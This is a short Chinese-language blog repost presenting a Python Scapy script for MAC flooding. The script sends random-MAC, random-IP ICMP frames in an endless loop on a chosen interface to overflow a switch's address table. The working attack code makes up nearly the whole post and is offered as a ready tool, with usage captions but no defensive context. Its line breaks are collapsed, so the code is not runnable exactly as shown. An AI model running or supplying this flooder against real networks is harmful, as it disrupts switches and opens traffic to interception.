Python3 小工具-MAC泛洪

from scapy.all import *
import optparse

def attack(interface): pkt=Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP() sendp(pkt,iface=interface) def main(): parser=optparse.OptionParser("%prog "+"-i interface") parser.add_option('-i',dest='interface',default='eth0',type='string',help='Interface') (options,args)=parser.parse_args() interface=options.interface try: while True: attack(interface) except KeyboardInterrupt: print('-------------') print('Finished!') if __name__=='__main__': main()

使用说明

开始程序

成功获取信息

github:https://github.com/zmqq/pytools/tree/master/macof

猜你喜欢

转载自www.cnblogs.com/zmqqq/p/10524780.html